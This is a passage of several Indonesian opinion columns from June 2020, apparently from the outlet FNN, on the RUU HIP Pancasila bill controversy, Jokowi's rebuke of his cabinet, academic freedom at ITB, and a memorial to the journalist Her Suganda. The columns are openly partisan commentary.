Pancasila (P4) di masa lalu. Namun, tiba-tiba muncul RUU HIP. Semua pada teriak Pancasila Dasar Negara, Ideologi Negara, Sumber Segala Sumber Hukum Negara, dan bla-bla Pancasila. Bahkan, pengusul RUU HIP pun teriakannya sama. Yang Lebih mengejutkan lagi, banyak yang fasih sejarah. Sejak mencari Dasar Negara hingga keputusan bagaimana narasi dan hierarkinya, (18/8/1945). Artinya, rakyat Indonesia yang Pancasilais lebih banyak dari pada yang brengsek. Suka tidak suka, itulah hasil indoktrinasi atas ‘Doktrin Pancasila’ melalui ceramah, penataran, dan diskusi yang dilakukan oleh BP7. Yang sangat dikagumi oleh negara luar, utamanya negara-negara ASEAN. Bahkan mereka datang melihat dan mengundang ke negaranya. Tidak perlu alergi mendengar indoktrinasi. Tidak ada yang keliru. Sebab, Pancasila sudah kita sepakati sebagai ‘kebenaran’. Kalau toh Penataran P-4 hasilnya masih ada yang brengsek, itu ibaratnya “telur sesarang dierami induknya, menetasnya beda-beda”. Kedua, tentang PKI. Walaupun pelajaran sejarah tidak seperti dulu, pemutaran film G.30.S/PKI diantara boleh dan tidak. Namun kewaspadaan bahaya laten komunis muncul ketika ada RUU HIP. Rakyat teriak “awas komunis bangkit dan ganyang komunis”, mengiringi tuntutan cabut RUU HIP. Forum Komunikasi Purnawirawan TNI-POLRI, wadah para purnawirawan usia 80-90 tahun juga mencium gelagat itu. Meraka menyatakan “Pengangkatan RUU HIP ini dinilai sangat tendensius, karena terkait dengan upaya menciptakan kekacauan serta menghidupkan kembali PKI”. (Baca : Bukan Tiktok “You Know” Rizky Ayuba Tetapi Tahukah Siapa PKI Dengan Komunisme Importnya di mbah google) Ketiga, visi misi PDI-P. Visi misi PDI-P viral di medsos. Konon dibenarkan oleh anggota PDI-P saat debat di TV swasta. Membikin rakyat terkejut dan baru ngeh apa visi dan misi dari PDI-P. Ini suatu keajaiban dan kejutan. Tanpa RUU HIP mungkin rakyat tidak akan pernah tahu visi dan misi PDIP. Publik terhentak dan sangat kaget. Ternyata PDI-P dalam membentuk dan membangun karakter bangsa, berdasarkan pada Pancasila 1 Juni 1945. Untuk melahirkan kehidupan berbangsa dan bernegara dengan Tri Sila. Sedang menentang individualisme digunakan Gotong Royong (Eka Sila). Padahal Pancasila konsensus tanggal 18 Agustus 1945, tidak mengenal Trisila dan Ekasila itu. (Ternyata Trisila dan Ekasila di RUU HIP Ada di Visi dan Misi PDI-P. Baca juga di om google) Keempat, Pancasila/Radikal/Khilafah. RUU HIP kembali membuat keajaiban dan kejutan. Terutama ketika tuntutan Tap MPRS No. XXV/1966 harus masuk sebagai konsiderans ‘mengingat’. Tuntutan ini minta imbangan. Radikalisme dan Khilafahisme juga masuk. Maka terjadilah adu argumentasi menafsir Pancasila, Radikal dan Khilafah yang mbulet, ruwet bikin mumet. Radikal hakikatnya sebagai ‘gerakan’ untuk mendukung reformasi. Menuntut hal yang mendasar. Bisa positip, namun bias juga negatip. Jadi, radikal atau radikalisme bukanlah ajaran atau ideologi. Khilafah merupakan ‘sistem kepemimpinan’ berdasarkan Al Quran, Al Hadis, Ijma dan Qiyas. Jadi, keduanya bukan ideologi. Maka tidaklah proposional Pancasila disandingkan dengan yang bukan ideologi. Beda dengan Tap MPRS No. XXV/1966, berkaitan dengan Komunisme/Marxisme dan Leninisme. Ketiga ideologi ini jelas bertentangan dengan ideologi Pancasila. Sejarah telah membuktikan kepada kita bahwa PKI pernah memberontak. PKI ingin mengganti Pancasila dengan komunisme. Itulah masalahnya. (Bukan “Don’t Forget” The Bee Gees, Tetapi Jangan Lupa Perilaku PKI. Baca juga di mbah dan om google) Kelima, tuntutan rakyat. Aksi massa di DPR, Rabu, 24/6/2020 bertemakan “Selamatkan NKRI dan Pancasila dari Komunisme”. Ternyata tuntutannya tidak hanya hentikan RUU HIP. Tetapi mencabut RUU HIP dari Proglenas Prioritaa DPR. Juga tangkap inisiator, fraksi dan anggota DPR pengusul RUU HIP. Tentunya ada pula yel-yel yang mengejutkan, yang tidak perlu ditulis dalam artikel ini. Keenam, sikap Fraksi. Berbagai tuduhan negatif terhadap RUU HIP, tampaknya telah membuat DPR memahami, menyadari. DPR lalu cenderung melemah. Tidak seperti biasanya. Fraksi-fraksi yang semula mendukung mencabut dukungan. Kini mereka meninggalkan Fraksi PDI-P sebagai inisiator sendirian berhadap-hadapan dengan rakyat yang menolak RUU HIP. Anggota Dewan yang menemui perwakilan aksi massa, berjanji mengusut dan menelusuri jejak sampai terjadinya RUU HIP. Bahkan akan memproses secara hukum jika ditemukan penyimpangan terhadap mekanisme yang diatur dalam Tatib Undang-undang. Janji yang akan ditagih oleh rakyat pendemo. Ketujuh, sikap Aparat. Sikap aparat keamanan pada aksi massa 24/6/2020 ada keajaiban. Bagaimana tidak? Biasanya, H-2 lingkungan DPR sudah serem. Barikade kawat berduri, ‘water cannon’ yang biasa tergelar tidak tampak. Masa bisa mendekat dan orasi di depan gerbang DPR dengan sangat bebas. Sepertinya aparat kepolisian sangat sadar dan memahasi kondisi dan emosi para pendemo. Sebab kalau sudah bicara Pancasila, itu terkait bangsa dan negara. Pancasila juga ada di Tri Brata dan Sapta Marga. Atau aparat yakin, massa kaum muslim sampai jutaan pun akan tertib. Ataukah sudah sepemahaman untuk mempertahankan Pancasila dan UUD 1945. Bukan tindak pidana ataupun makar? Semoga, amin. Mungkin pembaca berpendapat ‘tujuh keajaiban dan kejutan’ di atas adalah hal yang lumrah. Monggo saja. Namun, jika ada yang menemukan keajaiban dan kejutan yang lain, juga silakan. Itulah catatan dan pendapat penulis. Semoga ada manfaatnya. Amin Penulis adalah Wagub DKI Jakarta 2007-2012 & Rumah Kebangkitan Indonesia

PDIP, Maju Kena Mundur Kena

by Tony Rosyid Jakarta FNN – Senin (29/06). Saat ini, memang tak mudah posisi yang dialami PDIP. Saat mengusulkan Rancangan Undang-Undang Haluan Ideologi Pancasil (RUU HIP), hampir semua fraksi mendukung. Hanya Fraksi Demokrat dan PKS yang menolak. Setelah Maklumat Mejelis Ulama Indonesia (MUI) menolak RUU HIP, fraksi-fraksi itu balik badan. Meninggalkan PDIP sendirian. Tak hanya sampai disitu. Karena dianggap menjadi inisiator RUU HIP, oleh banyak pihak PDIP dikecam telah berupaya mengusung komunisme. Melakukan makar terhadap Pancasila. Terutama ketika TAP MPRS No 25 Tahun 1966 ditolak mentah-mentah untuk menjadi konsiderannya. Justru yang muncul adalah Trisila dan Ekasila mirip visi dan misi PDIP. PDIP coba menjelaskan, tetapi tak didengar. Tidak diguris oleh umat Islam. Ratusan kader PDIP turun jalan dan teriak, “kami PDIP, kami bukan PKI”. Ternyata teriakan tersebut tak ngaruh juga. Sejumlah langkah yang dianggap berbau ancaman dari PDIP, justru kenyataannya malah menambah gelombang massa yang makin besar. Siap melakukan perlawanan. Bagi umat Islam “hidup mulia atau mati syahid”. Kalimat ini sudah keluar dari pimpinan MUI Pusat. Dalam Islam, ini mantra jihad yang dapat memengaruhi psikologi umat Islam untuk siaga mengambil segala risiko yang kemungkinan terjadi nantinya. PDIP perlu memahami dengan estrus mantra ini. Agar PDIP bisa bersikap dan bertindak lebih tepat dan bijak. Tak mudah memang. Balas gertak dan demo itu kontraproduktif. Justru membangkitkan kemarahan umat Islam, yang selama ini merasa terdzalimi dan dipojokkan. RUU HIP telah menjadi momentum konsolidasi umat yang sangat efektif. Sadar kalai lama didzalimi, umat Islam lalu mengadakan konsolidasi. Kondisi ini akan mematangkan situasi. Tidakkah ini jawaban terhadap teori dari Marx sendiri? Bapak dan sekaligus suhunya faham komunisme yang paling berpengaruh di dunia. Bagi PDIP, diam tak akan merubah apa-apa. Mundur dan batalkan RUU HIP, akan berdampak pada PDIP. Pertama, PDIP kehilangan muka di mata publik. Partai pemenang pemilu dua kali, dengan jumlah kader jutaan dan sekaligus pengusung penguasa dua periode ini, harus berbesar hati untuk menerima tekanan dari pihak luar PDIP. Tentu saja ini psikologi politik yang tidak mengenakan. Kedua, mengalah dan membatalkan RUU HIP. Itu berarti PDIP menerima proses pengusutan terhadap orang-orang yang terlibat dalam menginisiasi dan menyusun draft RUU HIP. Pengusutan adalah satu diantara tuntutan yang sangat kuat diajukan oleh MUI maupun Ormas-Ormas Islam. Boleh jadi dalam pengusutan nanti, ada kader PDIP yang tersangkut namanya. Sementara itu, PDIP dikenal paling gigih melindungi para kader dalam menghadapi berbagai masalah hukum. Ingat kasus e-KTP yang dalam persidangan menyebut sejumlah nama kader PDIP, dan gagalnya penggeledahan KPK ke kantor partai kepala banteng ini. Faktor inilah yang mambuat soliditas dan militansi para kader PDIP sangat kuat. Selain PKS, tak ada kader partai politik yang lebih solid dan militan seperti PDIP. Jika PDIP tetap melanjutkan pembahasan RUU HIP, dan melakukan perlawanan, maka situasi di negeri ini bisa menajdi nggak kondusif. Jika sampai terjadi, maka situasi ini tak hanya merugikan bangsa, tetapi bisa saja menjadi petaka. Boleh jadi, juga akan dirasakan oleh PDIP itu sendiri. Semuanya akan rugi. Menyesal kemudian tidak ada gunanya. Jauh lebih bijak PDIP legowo untuk menghentikan pembahasan RUU HIP. Sikap itu tak berarti PDIP telah kalah. Sebab kalah menang akan ditentukan pada pemilu, baik pilkada, pileg maupun pilpres. Kita akan lihat pilkada 2020 ini. Apakah calon-calon yang diusung PDIP terkena imbas RUU HIP? Mari kita semua berkomitmen untuk serahkan pada proses hukum. Sebagai partai besar, PDIP mestinya mampu memberikan keteladanan terhadap penegakan hukum di Indonesia. Biarlah pengusutan terhadap para oknum di balik RUU HIP berjalan sesuai hukum yang berlaku. Ada UU No 27 Tahun 1999 yang bisa menjadi dasar pijakan. Terutama pasal 107. Toh di dalam proses penyelidikan, penyidikan dan di persidangan belum tentu ada putusan bersalah. Tetap saat ini harus mengacu pada prinsip praduga tak bersalah. Begitu juga yang terkait dengan pembakar bendera PDIP. Jika memang ada pasal-pasal KUHP yang cukup kuat untuk mengusut, biarlah proses hukum yang akan berjalan. Sebagai negara hukum, berikan kewenangan pihak yang berwajib untuk bekerja secara profesional dan independen. Jangan lagi ada intervensi politik kepada para penegak hukum. Sebab, ini justru akan jadi bumerang. Karena selama ini, kepercayaan umat kepada penegakan hukum sudah sangat rendah sekali. Kasus RUU HIP diharapkan mampu menjadi momentul untuk mengembalikan kepercayaan umat Islam terhadap penegakan hukum di Indonesia. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Kabinet Pesta dan Kabinet Krisis

Oleh Hersubeno Arief When the music’s over. Turn out the lights. Turn out the lights. Turn out the lights.—The Doors 1967— Jakarta, FNN - Musik sudah berakhir. Presiden Jokowi juga sudah memadamkan lampu. Para pembantunya di kabinet harusnya tahu. Itu isyarat tegas bahwa pesta sudah berakhir. Waktunya untuk kembali dalam kehidupan nyata. Sayangnya mereka sepertinya tak menyadari. Seperti vocalis The Doors Jim Morrison yang mati muda karena overdosis, tampaknya banyak diantara pembantu Jokowi yang juga sedang fly. Overdosis kekuasaan. Mereka masih tenggelam dalam mabuk dan pesta kemenangan. “Suasana dalam tiga bulan ke belakang ini dan ke depan mesti yang ada suasana krisis,” ujar Jokowi ketika membuka Rapat Parpurna Kabinet Kamis 18 Juni. Rapat itu dihadiri Wapres Ma’ruf Amin, para menteri kabinet dan pemimpin lembaga-lembaga negara. Tak seperti biasanya wajah Jokowi terlihat gundah dan lelah. Kalimat pembukanya to the point, tak ada basa-basi. Bernada retoris liris. Sebuah pertanyaan emosional yang tak memerlukan jawaban, sekaligus menyiratkan keputusasaan. Mestinya kita semua yang hadir di sini. Sebagai pimpinan. Sebagai penanggung jawab, lanjutnya. “Bertanggung jawab kepada 260 juta penduduk Indonesia. Tolong digaris bawahi!!. Dan perasaan itu sama. Tolong kita sama. Sense of cricis yang sama!” Suara Jokowi meninggi ketika mengucapkan hal itu. Dia tak berusaha menyembunyikan kegeramannya. Kegeraman yang setelah ditahan sekian lama, akhirnya dibagikan ke publik. Hal itu terlihat dari jeda waktu yang cukup lama antara pidatonya dan kemudian di-uploud ke situs video berbagai Youtube. Pidato Jokowi itu berlangsung pada hari Kamis (18/6). Sementara akun Youtube Sekretariat Presiden baru meng-uploud-nya pada Ahad sore (28/6). Ada jeda selama 10 hari. Cukup lama kegeraman itu coba diendapkan. Akhirnya diledakkan juga ke publik. Timing yang dipilih juga cukup menarik. Hari Ahad di kalangan wartawan dikenal sebagai hari sepi berita. Waktu yang tepat untuk merilis dan meledakkan sebuah isu. Berita apapun akan dimakan media. Karena keesokan harinya adalah hari Senin. Setelah berlibur, warga butuh informasi. Media juga butuh berita yang nendang. Psikologi media dan psikologi pembaca pemberita ini tampaknya sangat dipahami oleh tim komunikasi Presiden. Mereka ingin agar pesan dari puncak kekuasaan itu benar-benar sampai ke publik. Menyimak pidato sepanjang 10 menit, 20 detik itu kita dapat menangkap suasana batin Jokowi. Dia sangat geram, jengkel, marah kepada para menterinya tidak punya sense of crisis, menganggap situasi normal dan biasa-biasa saja. Jokowi dengan lugas menyatakan akan bertindak apapun yang diperlukan. Termasuk membubarkan lembaga dan mencopot mereka yang dinilainya tak becus bekerja. Tak punya perasaan dan pemahaman bahwa krisis tengah berlangsung. Benar saja. Pidato Jokowi langsung meledak. Menjadi santapan media. Hanya dalam waktu 12 jam, video di akun Sekretariat Presiden sudah ditonton lebih dari 200 ribu orang. Belum lagi yang menyebar di media-media online dan platform medsos. Beritanya menjadi trending, karena konten dan timingnya. Sangat terlambat Upaya Jokowi membangunkan kesadaran para menteri dan pejabat tinggi itu, sesungguhnya sangat terlambat. Seperti diakuinya, harusnya sense of crisis itu sudah muncul setidaknya sejak tiga bulan lalu. Sejak muncul pandemi Corona di Wuhan, Cina akhir tahun lalu. Atau setidaknya awal Maret ketika Jokowi mengumumkan kasus positiv Covid-19 pertama di Indonesia. Kita tak perlu mengulang-ulang lagi lagi bagaimana reaksi para petinggi negara menyikapi bencana Corona. Menyepelekan, menganggap remeh. Mengerahkan buzzer untuk membungkam suara kritis, serta berbagai lakulajak dan lancung lainnya. Sikap yang mengundang kecaman tidak hanya dari dalam negeri, tapi juga dari komunitas internasional. Dampaknya bisa kita rasakan saat ini. Darurat kesehatan yang berkepanjangan. Krisis ekonomi yang kian dalam. Dan yang lebih mengkhawatirkan, krisis kepercayaan terhadap pemerintah semakin meluas. Jokowi bahkan mulai kehilangan dukungan dan kepercayaan di basis-basis pendukungnya. Beberapa seleb medsos yang selama ini dikenal sebagai pendukung dan buzzer pemerintah sudah menyuarakan ketidakpuasan dan perlawanannya. Publik cenderung skeptis dan apatis terhadap para petinggi negara. Apapun kebijakan pemerintah hanya dianggap lucu-lucuan. Meme bertebaran membuat kita tersenyum kecut dan getir. Yang paling mutakhir adalah kebijakan Mendagri memberi hadiah lomba video new normal ke beberapa pemerintah daerah. Kredibilitas Jokowi dipertaruhkan. Komunitas Internasional mempertanyakan keseriusan pemerintah. Jokowi menghadapi krisis kepercayaan dari dalam dan luar negeri. Semua terjadi seperti kata Jokowi, karena para pembantunya “bekerja biasa-biasa saja.” Bersikap seakan “tidak ada apa-apa.” Jokowi tampaknya mulai menyadari kabinet pesta. Kabinet bagi-bagi kekuasaan di antara para pendukungnya, tidak kompatibel dengan kabinet krisis. Kini saatnya dia menilai, memilah siapa yang cocoknya hanya diajak berpesta, dan siapa yang bisa diajak menangani krisis. Dia sudah menyadari tidak ada “perasaan yang sama” antara dia dengan para pembantunya. Kata itu bahkan sampai dia ulang sebanyak 4 (empat) kali. Jokowi menyadari bahaya yang mengancam kekuasaannya akibat penanganan krisis biasa-biasa saja. Kata “berbahaya sekali,” juga diulangnya selama 4 (empat) kali sepanjang pidatonya. Kekhawatiran Jokowi sangat bisa dimaklumi. Jika tak segera bertindak cepat, drastis, dan tegas masa depan politiknya jadi pertaruhannya. Bagi Jokowi pesta kemenangan periode kedua sudah berakhir dengan cepat. Namun para penggila pesta, tampaknya sudah mencari dan menyiapkan pesta lainnya. Melalui lembaga survei, mereka sudah mulai mengelus-elus pengganti Jokowi, justru ketika Jokowi harus berjibaku berjuang menghadapi pandemi. Dia mati muda di tengah puncak karirnya. Ditemukan mati di kamar mandi di sebuah apartemen di Paris dalam usia 27 tahun. Diduga overdosis. Jika tak waspada dan berhati-hati, pemerintahan Jokowi bisa mati muda (dying young) seperti nasib vocalis The Doors Jim Morrison. Kekuasaan seperti juga narkoba, sangat memabukkan. Jika lupa diri. Menggunakan secara berlebihan dan tak bertanggung jawab, bakal mati overdosis juga. End. Penulis Wartawan Senior.

Dahsyat Keberanian PDIP Mengacak-acak Sila Ketuhanan

By Asyari Usman Jakarta, FNN - Sekjen PPP Arsul Sani dengan tegas dan jelas mengukuhkan bahwa RUU HIP dengan segala elemen makar di dalamnya adalah usulan fraksi PDIP di DPR. Itu yang dikatakan Sekjen di acara Dua-Sisi tvOne. Terima kasih atas penjelasan Pak Arsul. Jadi, tidak ada keraguan lagi tentang asal-usul RUU HIP. Artinya, tidak ada lagi teka-teki tentang siapa yang ingin menukangi Pancasila menjadi Trisila dan Ekasila. Tidak ada lagi buang badan PDIP perihal upaya mereka untuk mengeliminasi sila Ketuhanan Yang Maha Esa. Tidak juga diragukan tentang siapa yang mengusulkan peniadaan Tap MPRS/XXV/1966 yang melarang komunisme-PKI dari deretan konsideran RUU yang sangat berbahaya itu. Blok politik yang mengusulkan itu adalah PDIP, PDIP, dan PDIP. Para elit partai penggemar warna merah ini tidak perlu berkilah lagi. Tidak usah berkelit dan berbelit-belit. Silakan cek langsung ke Pak Arsul dan redaksi tvOne. Nah, salah satu kesimpulan ‘post mortem’ prahara RUU HIP adalah keberanian PDIP mengacak-acak sila Ketuhanan Yang Maha Esa (KYME). Di luar dugaan. Luar biasa berani mereka menunjukkan misi untuk menghilangkan KYME dari Pancasila. Tak mungkin mereka tidak paham reaksi umat Islam. Dahsyat keberanian mereka. Patut diacungkan jempol untuk PDIP. Meskipun mereka sekarang ‘malu hati’. Sekaligus babak-belur. Keberanian itu mirip dengan misi John Rambo (dalam film “Rambo” First Blood, 1982) ketika dia masuk ke jantung pertahanan Vietkong untuk membebaskan tentara Amerika Serikat (AS) yang ditawan Vietnam. Bedanya, Rambo sukses dalam ‘lone impossible mission’ itu. (Amerika pasti selalu sukses dalam cerita film Hollywood. Mana pernah kalah). Sedangkan PDIP ‘kepergok’ dalam upaya menyusupkan agenda anti-ketuhanan. Meskipun ‘kepergok’, keberanian PDIP itu memperlihatkan kesiapan mereka menghadapi konsekuensi apa saja demi pelecehan sila KYME. Dari posisi sila pertama ke posisi nol. Posisi lenyap. Dari tempat yang mulia sebagai pilar utama Pancasila ke posisi ‘ketuhanan yang berkebudayaan’. Yaitu, posisi yang hanya memaknai ketuhanan sebagai produk kebudayaan. Atau setara dengan produk kebudayaan. Untuk kemudian, ujungnya, menghapuskan ketuhanan dari kehidupan berbangsa dan bernegara. Ada beberapa kemungkinan mengapa PDIP sangat berani. Pertama, karena percaya diri sebagai partai terbesar di DPR. Mereka yakin bisa menggiring parpol-parpol lain untuk menerima Trisila dan Ekasila. Dan pada mulanya, enam parpol berhasil digiring. Mereka mendukung RUU HIP. Golkar, Gerindra, Demokrat, Nasdem, PKB dan PPP setuju. Tapi, mereka sekarang menolak setelah komponen-komponen besar umat melancarkan perlawanan. Kedua, PDIP mungkin merasa sudah menyiapkan ‘perangkat keras’ untuk melunakkan umat Islam sebagai pihak yang paling lantang menentang. Ketiga, keberanian itu diperlihatkan untuk sekadar ‘mengukur dalamnya air’. Ternyata, air itu masih sangat dalam. Bahkan lebih dalam dari waktu-waktu sebelumnya. Memang selama puluhan tahun ada upaya pendangkalan air umat. Tapi, proyek pendangkalan itu gagal. Keberanian PDIP mengusulkan pelenyapan sila KYME hendaknya disertai tanggung jawab ketika usulan itu menciptakan instabilitas sosial-politik. Rasanya, tidak perlulah diajarkan apa yang harus dilakukan pimpinan partai. Yang jelas, perlawanan keras dilancarkan di mana-mana. Rakyat meminta agar para penggung jawab Trisila-Ekasila dan peniadaan Tap MPRS/XXV/1966 di deretan konsideran RUU HIP, segera ditindak sesuai hukum yang berlaku. Jangan biarkan berlarut-larut. Jangan pula disepelekan. Aparat penegak hukum, cq Kepolisian RI, tidak perlu menunggu laporan. Sebab, upaya untuk menghapus sila Ketuhanan adalah percobaan makar terhadap dasar negara. 28 Juni 2020(Penulis Wartawan Senior)

Hancur Dunia Kampus di Eranya Jokowi

by M. Rizal Fadillah Jakarta FNN – Ahad (28/06). Sungguh parah negara ini. Kooptasi terhadap kampus sudah masif. Negara rasa zaman penjajahan. Pada eranya Orda Baru saja, mulai dari pagar bagian dalamm kampus, masih tetap diberikan kebebasan untuk mengkritik penguasa. Kebebasan mimbar akademik sangat dijaga oleh Soeharto. Asal jangan di luar pagar kampus. Sebab pasti ditangkap. Sekarang, di eranya Jokowi ini, kenyataannya berbalik antara langit dan bumi dengan Soeharto. Suara kritis dibungkam atas nama radikalisme, intoleran, atau sejenisnya. Setelah acara diskusi di Universitas Gajah Mada (UGM) dirusak, dan pembicara diteror habis, kini giliran Majelis Wali Amanat Institut Terknologi Bandung (ITB) yang diganggu. Gangguan di ITB tersebut, datang dari permintaan Gerakan Anti Radikalime Alumni ITB. Prof. Din Syamsuddin merasa harus mempertimbangkan untuk mengundurkan diri sebagai anggota Majelis Wali Amanat ITB. Petimbangan Prof. Din itu demi "harmonia in progressio". Korban radikalisme kampus. Permainan politik murahan dari penguasa. ITB yang telah menghasilkan pejuang dan proklamator bangsa sekelas Ir. Soekarno haruskah mencoreng diri di masa rezim Jokowi? Tangan-tangan anti demokrasi, anti kritik, berbau kolonialis bisa mengobrak-abrik kampus? Bandung kota perjuangan. Kampus sekelas ITB seharusnya memperlihatkan citra yang membanggakan, otonom, progresif dan tetap kritis kepada penguasa. Prof. Din Syamsuddin mantan Ketua Umum Majelis Ulama Indonesia (MUI). Sekarang Ketua Dewan Pertimbangan MUI, dan mantan Ketua Umum Pengurus Pusat Muhammadiyah. Tokoh yang malang melintang dalam berbagai organisasi perdamaian dunia. Suka menyatukan komunitas lintas agama dan etnis. Selainn itu, Prof. Din menjadi pengurus di lembaga-lembaga yang menyerukan pentingnya toleransi antar umat agama. Tak ada sedikitpun bawaan atau watak pada dirinya untuk berbuat makar atau yang para sampah sebut radikal itu. Namun Prof. Din tidak pernah berhenti mengkritis penguasa, terlepas dari siapapun presidennya. Aneh bin ajaib jika Ketua MWA ITB Yani Panigoro "ngotot" untuk menyingkirkan Prof. Din. Apakah karena ia adalah tokoh Islam yang kritis ? Apakah karena punya jaringan yang luas itu sangat membantu untuk merealisikan semangat ITB sebagai a world class university? Sayangnya keluasan itu dengan berbalas kesempitan pandangan di internal ITB sendiri. Memasung kebebasan akademik. Secara pribadi, bagi seorang Din Syamsuddin, diyakini tidak terlalu penting amat untuk tetap menjadi anggota Majelis Wali Amanat ITB. Prof. Din dengan mudah untuk mengundurkan diri dari ITB. Akan tetapi budaya intoleran, menekan, dan radikal oleh gerakan palsu anti radikalisme adalah merendahkan martabat alumni perguruan tinggi ternama di kota Bandung itu. Sungguh sangat prihatin dan miris dengan kehancuran dunia kampus di Indonesia. Para akademisi yang semestinya berfikir obyektif, analitis, logis. Sikap yang kritis nampaknya telah dirusak oleh kekuatan kolonialis, pragmatis, dan mungkin agen kapitalis atau komunis. Para pencercah berhati kusam, licik dan picik. Sebenarnya tak ingin mencampuri urusan yang bukan almamater sendiri. Tetapi hati ini teriris dan harus berteriak kepada kekuatan para penjajah. Anda telah berhasil menghancurkan kampus-kampus kami. Mungkin saja anda berhasil untuk saat ini.Tetapi yakinlah tidak untuk selamanya. Kami segera merdekakan kampus! Penulis adalah Pemerhati Politik dan Kebangsaan.

Her Suganda, Wartawan Idealis dan Penulis Soekarno

Oleh: Tjahja Gunawan Jakarta, FNN - Beberapa hari lalu, saat Shalat Tahajud, tiba-tiba saya teringat Her Suganda, guru saya di dunia kewartawanan. Usai shalat, tidak lama kemudian, ingatan masa lalu pun muncul saat bekerja bersama Pa Her (panggilan teman-teman yang pernah bertugas di Jabar) di Harian Kompas Biro Jawa Barat. Orangnya teguh dengan prinsip sehingga orang lain pun segan dengan beliau. Meski sebagian rekan kerjanya ada yang menilai sosok Her Suganda sebagai orang yang “keras” tetapi dia sebenarnya orang yang supel dalam bergaul terutama dengan para nara sumber. Nara sumber dan jaringan informasinya bukan hanya para pejabat formal tetapi juga orang-orang biasa, terutama para petani dan nelayan di Jawa Barat. Her Suganda dikenal sebagai wartawan lapangan yang lebih banyak menggali dan menulis berita dari bawah. Dia juga sosok wartawan yang cerdas dan cerdik dalam mengangkat dan menulis berbagai persoalan serius maupun masalah keseharian masyarakat di Jabar. Banyak isu-isu lokal di Jabar, namun begitu diliput dan ditulis oleh Her Suganda menjadi isu nasional. Pa Her bukan tipe “wartawan salon” atau “wartawan talking news”, yang hanya menulis berita berdasarkan omongan para pejabat pemerintah atau aparat. Dia bukan termasuk golongan wartawan yang hanya bermodalkan (waktu itu) tape recorder yang kerjanya cuma mendatangi acara-acara seremonial kemudian ditulis menjadi berita di koran. Her Suganda adalah wartawan yang bekerja dengan hati, kemudian turun ke bawah menggali data dan informasi langsung dari masyarakat lalu dia tulis menjadi berita atau tulisan khusus (feature). Dia menjalani kerja di dunia kewartawanan sekaligus sebagai salah satu upaya untuk menunjukkan kebenaran dan ketidakadilan yang terjadi dalam kehidupan masyarakat. Dulu dia juga dikenal sebagai wartawan bidang pertanian yang tangguh. Wartawan rendah hati Pernah suatu waktu dia memberitakan kemiskinan parah yang diderita petani di Karawang sehingga ketika itu para petani terpaksa makan eceng gondok. Lalu dia menuliskan peristiwanya secara faktual, langsung dari lapangan. Setelah beritanya menghiasi halaman utama Harian Kompas, pemerintah waktu itu akhirnya bereaksi dan berita kemiskinan rakyat Karawang waktu itu menjadi isu nasional. Dalam kasus-kasus seperti inilah, kepuasan kerja seorang wartawan seperti Her Suganda terpenuhi. Kepuasan batin seorang wartawan adalah manakala berita yang dibuatnya telah mempengaruhi para pengambil kebijakan maupun masyarakat. Itulah berita yang bernilai tinggi. Namun demikian, Her Suganda tidak pernah menceritakan kehebatan dirinya sendiri. Itulah sifat rendah hatinya. Kalau ditanya tentang berita eceng gondok yang menggegerkan itu, selalu dia bilang, “Ah itu dulu gun,” katanya mengelak. Sebagai wartawan yang menguasai masalah pertanian, Her Suganda sudah sangat paham siklus pertanian yang berlangsung di daerah Jabar. Mulai dari masa tanam padi, musim panen, musim paceklik hingga masalah kemiskinan yang dialami para petani dan nelayan di Jabar. Dia mampu memetakan wilayah Jabar baik dalam angka maupun menjelaskan secara aspek sosial kultural masyarakat Jawa Barat. Her Suganda mampu mengangkat berbagai persoalan dan keunikan di wilayah Parahyangan dengan gaya tulisan yang mengalir sehingga enak dibaca. Meskipun saya menjadi anak buahnya Her Suganda tapi hubungan kami tidak kaku seperti atasan bawahan. Rekan-rekan di Kompas yang pernah menjadi anak buahnya di Bandung, selalu berdiskusi dengan Pa Her tentang isu-isu aktual yang terjadi di Jabar. Meskipun secara struktural, Her Suganda atasan tapi pola kerjanya tidak selalu bersifat instruksional. Kami para wartawan muda selalu didorong beliau untuk banyak berinisiatif dalam melakukan kegiatan liputan sehari-hari. Jadi wartawan sejak 1965 Saya mulai masuk dunia wartawan tahun 1990, sementara Her Suganda sudah menjadi wartawan sejak tahun 1965 di Jakarta. Kemudian atas ajakan wartawan senior Jakob Oetama, kemudian Her Suganda bergabung dengan Harian Kompas sejak tahun 1980 hingga tahun 2002. Meskipun dia masih energik dan produktif menulis, namun pada tahun 2002 Her Suganda sudah berusia 60 tahun. Sehingga dia terpaksa harus menjalani masa pensiun dari Kompas. Sebenarnya dalam dunia wartawan tidak mengenal istilah pensiun. The Old Journalist Never Die. Her Suganda hanya pensiun secara administratif dari Kompas namun kegiatan menulisnya terus berlanjut.Justru di usia pensiun, Her Suganda semakin produktif menulis tentang sejarah Kota Bandung dan Jawa Barat. Setelah pensiun dari Kompas, beliau menulis tujuh buku. Buku terakhir yang ditulis Her Suganda adalah “Jejak Soekarno di Bandung (1921-1934) yang diterbitkan Penerbit Buku Kompas pada 27 April 2015. Namun tidak sampai sebulan setelah itu, hari Senin 18 Mei 2015, Pak Her Suganda meninggal pukul 23.40 WIB di RS Immanuel Bandung. Beliau wafat di usia 73 tahun dan dimakamkan di daerah Rengasdengklok, Kabupaten Karawang, Jabar. Alhamdulillah, waktu itu saya sempat takziah ke rumah Pak Her di Jl Karasak Bandung sesaat sebelum dibawa ke Karawang, Jabar. Selama bekerja di Kompas, komitmen dan loyalitas Her Suganda lebih kepada profesinya sebagai wartawan, bukan semata kepada institusi tempatnya bekerja. Oleh karena itu, meskipun dia sudah dibujuk dan diminta berkali-kali agar mau dipindah ke Kantor Kompas di Jakarta, tentu dengan peluang karir dan “kehidupan yang lebih baik”, namun Her Suganda tetap menolak. Tidak ada satupun pimpinan Kompas termasuk Jakob Oetama yang bisa memaksa dia untuk meninggalkan Kota Bandung dan Jawa Barat. Ibaratnya Her Suganda Itu Jawa Barat, dan Jawa Barat adalah Her Suganda. Ini bukan slogan kosong. Dia memang betul-betul sudah menjelajahi setiap daerah di Jawa Barat, sehingga wajar kalau dia sangat mengenal dan memahami berbagai aspek kehidupan masyarakat Jabar khususnya sejarah Kota Bandung. Ketika masih di Kompas, Pak Her pernah menyampaikan kepada saya bahwa selama dirinya menjalankan tugas sebagai wartawan dia juga sekaligus melakukan penelitian tentang sejarah Kota Bandung dan Jabar. Dia kumpulkan bukti-bukti sejarah sehingga begitu pensiun dari Kompas, Her Suganda mampu menulis hingga tujuh buku soal sejarah Bandung dan Jabar. Selain menulis tetang Presiden Soekarno, Her Suganda juga menulis buku Kampung Naga: Memperkenalkan Tradisi. Buku lainnya,Wisata Parijs Van Java. Ketika masih 